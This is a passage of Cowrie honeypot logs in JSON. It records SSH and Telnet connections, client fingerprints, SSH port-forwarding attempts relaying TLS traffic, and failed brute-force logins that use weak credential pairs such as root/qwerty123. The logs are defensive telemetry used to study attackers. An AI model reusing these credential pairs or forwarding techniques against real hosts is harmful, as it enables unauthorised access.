\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\xcb\\x90C1\\xcd\\xea\\x1d3\\x84\\xfcz6!\\xcf&\\xe6N\\xa8\\xdf\\xa7\\x1c:\\xbeQv\\x00<*/\\xd4+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.464258Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42130,"dst_ip":"10.17.0.5","dst_port":22,"session":"40ea50d58b4e","protocol":"ssh","message":"New connection: 45.153.34.195:42130 (10.17.0.5:22) [session: 40ea50d58b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.515378Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.525118Z","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.585659Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xe5\\xf71c\\x12&\\xdc\\xb6\\xea\\xff\\x06\\xd6tP\\xf7\\x0by\\xf2\\xb3\\x16\\x86\\x12\\xc7\\xcc\\xb0I\\xe8\\xaa\\x08\\x16z k\\xa3_\\x0f\\xc8\\xbe\\xeb\\x98\\xf1c\\x84.\\xb8W+\\x0b\\xf2A\\'\\xbd\\n\\x9an\\x1dN\\xa0Is\\xfa^t\\x92\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 Rpj9\\x0b\\xbc\\x0b\\xa6\"\\x9bs\\xb9\\xdd\\x04q@\\xd5\\xd7\\xb0TA\\n\\x8e\\x89\\xfa\\x9c\\xd4\\xac\\x13[\\x1c@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xe5\\xf71c\\x12&\\xdc\\xb6\\xea\\xff\\x06\\xd6tP\\xf7\\x0by\\xf2\\xb3\\x16\\x86\\x12\\xc7\\xcc\\xb0I\\xe8\\xaa\\x08\\x16z k\\xa3_\\x0f\\xc8\\xbe\\xeb\\x98\\xf1c\\x84.\\xb8W+\\x0b\\xf2A\\'\\xbd\\n\\x9an\\x1dN\\xa0Is\\xfa^t\\x92\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 Rpj9\\x0b\\xbc\\x0b\\xa6\"\\x9bs\\xb9\\xdd\\x04q@\\xd5\\xd7\\xb0TA\\n\\x8e\\x89\\xfa\\x9c\\xd4\\xac\\x13[\\x1c@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.588957Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.677679Z","src_ip":"45.153.34.195","session":"40ea50d58b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.681181Z","src_ip":"45.153.34.195","session":"40ea50d58b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eduardo","password":"eduardo","message":"login attempt [eduardo/eduardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:39.213606Z","src_ip":"45.153.34.195","session":"40ea50d58b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:39.955465Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:40.390401Z","src_ip":"45.153.34.195","session":"40ea50d58b4e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:40.440655Z","src_ip":"91.92.40.36","session":"9087e0102f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:40.443896Z","src_ip":"91.92.40.36","session":"9087e0102f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42134,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c4fe63f2550","protocol":"ssh","message":"New connection: 45.153.34.195:42134 (10.17.0.5:22) [session: 9c4fe63f2550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:41.551431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:41.555770Z","src_ip":"45.153.34.195","session":"9c4fe63f2550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:41.647858Z","src_ip":"45.153.34.195","session":"9c4fe63f2550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23942,"dst_ip":"159.203.135.109","dst_port":22,"session":"0600bd4ccdfe","protocol":"ssh","message":"New connection: 91.92.40.36:23942 (159.203.135.109:22) [session: 0600bd4ccdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:41.871154Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:41.897255Z","src_ip":"45.153.34.195","session":"9c4fe63f2550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:42.980340Z","src_ip":"45.153.34.195","session":"9c4fe63f2550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch12","message":"login attempt [elasticsearch/elasticsearch12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:44.120471Z","src_ip":"91.92.40.36","session":"c3abdc6de0ed","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:44.266770Z","src_ip":"91.92.40.36","session":"0600bd4ccdfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:44.271406Z","src_ip":"91.92.40.36","session":"0600bd4ccdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30106,"dst_ip":"10.17.0.5","dst_port":22,"session":"9828910bd7a1","protocol":"ssh","message":"New connection: 45.153.34.195:30106 (10.17.0.5:22) [session: 9828910bd7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:45.527131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:45.530841Z","src_ip":"45.153.34.195","session":"9828910bd7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:45.611232Z","src_ip":"45.153.34.195","session":"9828910bd7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:46.446958Z","src_ip":"45.153.34.195","session":"9828910bd7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.226.172.133","src_port":58008,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01dde894eb4","protocol":"telnet","message":"New connection: 156.226.172.133:58008 (159.203.135.109:23) [session: f01dde894eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:46.609345Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27374,"dst_ip":"159.203.135.109","dst_port":22,"session":"418141485f00","protocol":"ssh","message":"New connection: 91.92.40.36:27374 (159.203.135.109:22) [session: 418141485f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:46.823389Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30108,"dst_ip":"10.17.0.5","dst_port":22,"session":"588af5386029","protocol":"ssh","message":"New connection: 45.153.34.195:30108 (10.17.0.5:22) [session: 588af5386029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:47.372630Z"}
